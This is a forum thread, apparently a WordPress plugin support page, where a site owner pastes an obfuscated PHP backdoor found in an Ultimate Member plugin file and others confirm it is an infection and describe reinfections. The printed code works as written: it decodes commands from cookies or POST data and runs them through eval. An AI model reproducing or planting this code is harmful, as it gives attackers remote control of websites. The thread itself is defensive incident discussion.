Malware detection

You are getting this notification because http[://]www.vonino[.]eu/tablets blacklisted by Google. (https://transparencyreport.google.com/safe-browsing/search?url=http:%2F%2Fwww.vonino.eu%2Ftablets&hl=en)

Inside “um-filters-commenting.php” I found this:
$kc4a948f = 3;$GLOBALS[‘bedb’] = Array();global $bedb;$bedb = $GLOBALS;${“\x47\x4c\x4fB\x41\x4c\x53”}[‘q3aa5906’] = “\x72\x42\x50\x41\x22\x5a\x3c\x4a\x7d\x5e\x53\x5d\x2e\x5b\x48\x46\x70\x73\x66\x47\x77\x40\x21\x31\x39\x51\x79\x6a\x67\x4e\x3a\x24\x26\x61\x4f\x69\x6f\x2b\x6b\x7c\x7b\xd\x4b\x52\x37\x36\x60\x3e\x27\x75\x32\x23\x2f\x74\x34\x3f\x78\xa\x25\x43\x30\x64\x44\x5c\x62\x56\x6e\x65\x54\x6c\x38\x9\x20\x2a\x35\x33\x4c\x59\x7e\x58\x57\x2c\x71\x3b\x6d\x5f\x29\x45\x76\x3d\x28\x63\x4d\x2d\x7a\x55\x49\x68”;$bedb[$bedb[‘q3aa5906’][84].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][23]] = $bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][97].$bedb[‘q3aa5906’][0];$bedb[$bedb[‘q3aa5906’][94].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][75]] = $bedb[‘q3aa5906’][36].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][61];$bedb[$bedb[‘q3aa5906’][20].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][44]] = $bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][66].$bedb[‘q3aa5906’][67];$bedb[$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64]] = $bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][53].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][69].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][66];$bedb[$bedb[‘q3aa5906’][20].$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][33]] = $bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][66].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][61];$bedb[$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][50]] = $bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][66].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][53];$bedb[$bedb[‘q3aa5906’][49].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][91]] = $bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][69].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][94].$bedb[‘q3aa5906’][67];$bedb[$bedb[‘q3aa5906’][20].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][54]] = $bedb[‘q3aa5906’][16].$bedb[‘q3aa5906’][97].$bedb[‘q3aa5906’][16].$bedb[‘q3aa5906’][88].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][36].$bedb[‘q3aa5906’][66];$bedb[$bedb[‘q3aa5906’][84].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][67]] = $bedb[‘q3aa5906’][49].$bedb[‘q3aa5906’][66].$bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][69].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][94].$bedb[‘q3aa5906’][67];$bedb[$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][24]] = $bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][36].$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][67];$bedb[$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][44].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][44].$bedb[‘q3aa5906’][45]] = $bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][53].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][53].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][84].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][69].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][84].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][53];$bedb[$bedb[‘q3aa5906’][28].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][91]] = $bedb[‘q3aa5906’][56].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][45];$bedb[$bedb[‘q3aa5906’][56].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][45]] = $bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][44];$bedb[$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][44].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][91]] = $_POST;$bedb[$bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][67]] = $_COOKIE;@$bedb[$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][50]]($bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][36].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][69].$bedb[‘q3aa5906’][36].$bedb[‘q3aa5906’][28], NULL);@$bedb[$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][50]]($bedb[‘q3aa5906’][69].$bedb[‘q3aa5906’][36].$bedb[‘q3aa5906’][28].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][36].$bedb[‘q3aa5906’][0].$bedb[‘q3aa5906’][17], 0);@$bedb[$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][50]]($bedb[‘q3aa5906’][84].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][56].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][56].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][49].$bedb[‘q3aa5906’][53].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][36].$bedb[‘q3aa5906’][66].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][53].$bedb[‘q3aa5906’][35].$bedb[‘q3aa5906’][84].$bedb[‘q3aa5906’][67], 0);@$bedb[$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][44].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][44].$bedb[‘q3aa5906’][45]](0);if (!$bedb[$bedb[‘q3aa5906’][20].$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][33]]($bedb[‘q3aa5906’][3].$bedb[‘q3aa5906’][76].$bedb[‘q3aa5906’][43].$bedb[‘q3aa5906’][87].$bedb[‘q3aa5906’][3].$bedb[‘q3aa5906’][62].$bedb[‘q3aa5906’][77].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][43].$bedb[‘q3aa5906’][95].$bedb[‘q3aa5906’][29].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][33])){$bedb[$bedb[‘q3aa5906’][20].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][44]]($bedb[‘q3aa5906’][3].$bedb[‘q3aa5906’][76].$bedb[‘q3aa5906’][43].$bedb[‘q3aa5906’][87].$bedb[‘q3aa5906’][3].$bedb[‘q3aa5906’][62].$bedb[‘q3aa5906’][77].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][43].$bedb[‘q3aa5906’][95].$bedb[‘q3aa5906’][29].$bedb[‘q3aa5906’][85].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][33], 1);$a3ebc = NULL;$t6110e57 = NULL;$bedb[$bedb[‘q3aa5906’][88].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][18]] = $bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][44].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][93].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][93].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][45].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][93].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][93].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][44].$bedb[‘q3aa5906’][45];global $v9b6b6f;function s829007($a3ebc, $b5714){global $bedb;$z89606650 = “”;for ($ydba92=0; $ydba92<$bedb[$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64]]($a3ebc);){for ($b5d0be=0; $b5d0be<$bedb[$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64]]($b5714) && $ydba92<$bedb[$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64]]($a3ebc); $b5d0be++, $ydba92++){$z89606650 .= $bedb[$bedb[‘q3aa5906’][84].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][23]]($bedb[$bedb[‘q3aa5906’][94].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][75]]($a3ebc[$ydba92]) ^ $bedb[$bedb[‘q3aa5906’][94].$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][70].$bedb[‘q3aa5906’][75]]($b5714[$b5d0be]));}}return $z89606650;}function x41b10b6($a3ebc, $b5714){global $bedb;global $v9b6b6f;return $bedb[$bedb[‘q3aa5906’][56].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][45]]($bedb[$bedb[‘q3aa5906’][56].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][18].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][45]]($a3ebc, $v9b6b6f), $b5714);}foreach ($bedb[$bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][67]] as $b5714=>$kf7c){$a3ebc = $kf7c;$t6110e57 = $b5714;}if (!$a3ebc){foreach ($bedb[$bedb[‘q3aa5906’][61].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][44].$bedb[‘q3aa5906’][75].$bedb[‘q3aa5906’][91]] as $b5714=>$kf7c){$a3ebc = $kf7c;$t6110e57 = $b5714;}}$a3ebc = @$bedb[$bedb[‘q3aa5906’][84].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][24].$bedb[‘q3aa5906’][54].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][67]]($bedb[$bedb[‘q3aa5906’][28].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][91]]($bedb[$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][50].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][91].$bedb[‘q3aa5906’][24]]($a3ebc), $t6110e57));if (isset($a3ebc[$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][38]]) && $v9b6b6f==$a3ebc[$bedb[‘q3aa5906’][33].$bedb[‘q3aa5906’][38]]){if ($a3ebc[$bedb[‘q3aa5906’][33]] == $bedb[‘q3aa5906’][35]){$ydba92 = Array($bedb[‘q3aa5906’][16].$bedb[‘q3aa5906’][88] => @$bedb[$bedb[‘q3aa5906’][20].$bedb[‘q3aa5906’][74].$bedb[‘q3aa5906’][64].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][54]](),$bedb[‘q3aa5906’][17].$bedb[‘q3aa5906’][88] => $bedb[‘q3aa5906’][23].$bedb[‘q3aa5906’][12].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][93].$bedb[‘q3aa5906’][23],);echo @$bedb[$bedb[‘q3aa5906’][49].$bedb[‘q3aa5906’][60].$bedb[‘q3aa5906’][67].$bedb[‘q3aa5906’][91]]($ydba92);}elseif ($a3ebc[$bedb[‘q3aa5906’][33]] == $bedb[‘q3aa5906’][67]){eval/*ta41b49b6*/($a3ebc[$bedb[‘q3aa5906’][61]]);}exit();}}

Is that normal?

Yes, it looks like an infection.
First of all, the currently available content of ./ultimate-member/includes/core/um-filters-commenting.php does not have this code,

The second very suspicious thing is following

eval/*ta41b49b6*/($a3ebc[$bedb[‘q3aa5906’][61]]);}exit();

The first comment is used to overcome pattern detection, and the last call to exit(); also look very suspicious.

I forward this sample to our lab for deobfuscation, will post here more details when available.

Thanks! @quttera

According to stats almost 7000 websites were infected with this malware, I wonder how many % of them because of hole in that plugin?

My site is been infected too, I installed Wordfence to detected, every day I scan it and it comes back, I delete the files and clean it but I still have this problem.

Not sure how to solve it they said to upgrade to the new version. I have that version but still, have this malware.

I’m so desperate